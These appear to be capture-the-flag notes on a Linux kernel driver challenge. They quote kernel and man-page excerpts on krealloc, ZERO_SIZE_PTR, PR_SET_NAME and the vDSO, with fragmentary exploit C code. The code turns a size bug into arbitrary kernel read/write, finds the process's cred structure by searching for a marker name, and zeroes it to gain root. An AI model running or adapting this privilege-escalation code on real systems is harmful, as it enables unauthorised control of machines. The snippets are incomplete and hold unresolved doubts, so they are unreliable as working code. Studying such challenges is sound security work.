/** * krealloc - reallocate memory. The contents will remain unchanged. * @p: object to reallocate memory for. * @new_size: how many bytes of memory are required. * @flags: the type of memory to allocate. * * The contents of the object pointed to are preserved up to the * lesser of the new and old sizes. If @p is %NULL, krealloc() * behaves exactly like kmalloc(). If @new_size is 0 and @p is not a * %NULL pointer, the object pointed to is freed. */ void *krealloc(constvoid *p, size_t new_size, gfp_t flags) { void *ret; if (unlikely(!new_size)) { kfree(p); return ZERO_SIZE_PTR; } ret = __do_krealloc(p, new_size, flags); if (ret && p != ret) kfree(p); return ret; } EXPORT_SYMBOL(krealloc); ------------------------------------------------------------------------------ // 对于ZERO_SIZE_PTR,解释如下 (include/linux/slab.h) /* * ZERO_SIZE_PTR will be returned for zero sized kmalloc requests. * * Dereferencing ZERO_SIZE_PTR will lead to a distinct access fault. * * ZERO_SIZE_PTR can be passed to kfree though in the same way that NULL can. * Both make kfree a no-op. */ #define ZERO_SIZE_PTR ((void *)16
PR_SET_NAME (since Linux 2.6.9) Set the name of the calling thread, using the value in the location pointed to by(char *) arg2. The name can be up to 16 bytes long, including the terminating null byte. (If the length of the string, including the terminating null byte, exceeds 16 bytes, the string is silently truncated.) This is the same attribute that can be set via pthread_setname_np(3) and retrieved using pthread_getname_np(3). The attribute is likewise accessible via /proc/self/task/[tid]/comm(see proc(5)), where [tid] is the thread ID of the calling thread, as returned by gettid(2)
#include<stdio.h> #include<sys/prctl.h> #include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> #include<malloc.h> #include<string.h>// for memmem #include<sys/ioctl.h>/* BSD and Linux */ #include<unistd.h>// for getgid() #include<stdlib.h>// for system("/bin/sh") // search string input
// alloc one alloc_args.buf_size = 0x100; alloc_args.id = -1; int ret = -1; ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args); if(alloc_args.id == -1) { printf("bad alloc\n"); return-1; } printf("[+] alloc an channel at id %d\n",alloc_args.id);
// change its size to get arbitary write shrink_args.id = alloc_args.id; shrink_args.size = 0x100+1; // vul, shrink size is `original size - this size` si we get -1 here ret = ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args); printf("[+] now we have arbitary read/write\n");
// use prctl() to set a str char buf[16] = {0}; strcpy(buf,"1@mnicholas_Wei"); prctl(PR_SET_NAME,buf); // BEGIN OUR SEARCH char* local_buf = (char*)malloc(0x1000); for(;addr<0xffffc80000000000;addr+=0x1000) { // use memmem to search for pattern // we can't do memmem directly, because we need to search it inside // the space of **device**, not the space of our program. // printf("look for addr 0x%lx\n",addr); seek_args.id = alloc_args.id; seek_args.index = addr-0x10; // index is actually the begin of the place we want to search. seek_args.whence = SEEK_SET; // search from begin ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); // use channel_read to read channel's space read_args.buf = local_buf; read_args.count = 0x1000; read_args.id = alloc_args.id; ret = ioctl(fd,CSAW_READ_CHANNEL,&read_args); //now data is in local_buf ret = memmem(local_buf,0x1000,buf,0x10); if(ret) { printf("[+] user-level pointer @ 0x%lx\n",ret); printf("[+] find pattern @ 0x%lx\n",ret+addr); cred = *(size_t *)(ret - 0x8); real_cred = *(size_t *)(ret - 0x10); if((cred||0xff00000000000000) && (real_cred == cred)) // what's the meaning of this? { // target_addr = addr+ret-(int)buf;// what's meaning? printf("[+] find cred @ 0x%lx\n",cred); printf("[+] find real_cred @ 0x%lx\n", real_cred); } break; } }
// now we get the cred addr, we can overwrite it
// The following way doesn't work // //1. seek // seek_args.id = alloc_args.id; // seek_args.index = cred + 8 - 0x10; // printf("[+] switch to search @ %llx\n",seek_args.index); // seek_args.whence = 0;//from begin // ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); // // 2.write // char payload[32] = {0}; // write_args.buf = payload; // write_args.count = 32; // write_args.id = alloc_args.id; // ret = ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
// the solution on website, works well printf("[+] switch to search @ %llx\n",cred-0x10 +4); for (int i = 0; i<44;i++){ seek_args.id = alloc_args.id; seek_args.index = cred-0x10 +4 + i ; seek_args.whence= SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); root_cred[0] = 0; write_args.id = alloc_args.id; write_args.buf = (char *)root_cred; write_args.count = 1; ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
x86-64 functions The table below lists the symbols exported by the vDSO. All of these symbols are also available without the "__vdso_" prefix, but you should ignore those and stick to the names below.
symbol version ───────────────────────────────── __vdso_clock_gettime LINUX_2.6 __vdso_getcpu LINUX_2.6 __vdso_gettimeofday LINUX_2.6 __vdso_time LINUX_2.6